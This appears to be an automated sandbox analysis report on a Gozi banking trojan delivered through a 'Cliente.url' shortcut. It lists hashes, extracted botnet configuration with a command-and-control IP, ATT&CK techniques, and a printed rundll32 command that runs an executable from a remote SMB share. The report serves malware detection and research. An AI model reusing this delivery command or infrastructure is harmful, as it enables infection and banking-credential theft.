gozi | 4d25257ecb5f00400cee90f0b96eb48ee9bc15539c06b7d661038cfc275a21d3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 12:41

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General

Target

Cliente.url
Size

193B
MD5

9c1dcd25ee65745e3f0fc5ee187277ab
SHA1

819fe69f437a44eb02b4d4adfad50b1d6d685cbf
SHA256

af0de9d1c38ade4fcdca65f63931ce325a0c0c1ab16518bed11cc3ae6fecd0b9
SHA512

f155feeab684a22cf526eaf3e4c93a75a0bf0dc681083f1f792a228f5527290ebedc20b764a49595bc660c8b0c079e82484f0032a9d99281478184fc7d8ec1e6

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

45.93.139.24

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 3332 wrote to memory of 2352	3332	rundll32.exe	impresa.exe
PID 3332 wrote to memory of 2352	3332	rundll32.exe	impresa.exe
PID 3332 wrote to memory of 2352	3332	rundll32.exe	impresa.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3332
- \??\UNC\62.173.146.71\scarica\impresa.exe
  "\\62.173.146.71\scarica\impresa.exe"
  2⤵
  PID:2352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2352-1-0x0000000002470000-0x0000000002570000-memory.dmp

Filesize
1024KB

Download
memory/2352-2-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download
memory/2352-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/2352-4-0x0000000002450000-0x000000000245D000-memory.dmp

Filesize
52KB

Download
memory/2352-7-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/2352-8-0x0000000002470000-0x0000000002570000-memory.dmp

Filesize
1024KB

Download
memory/2352-9-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download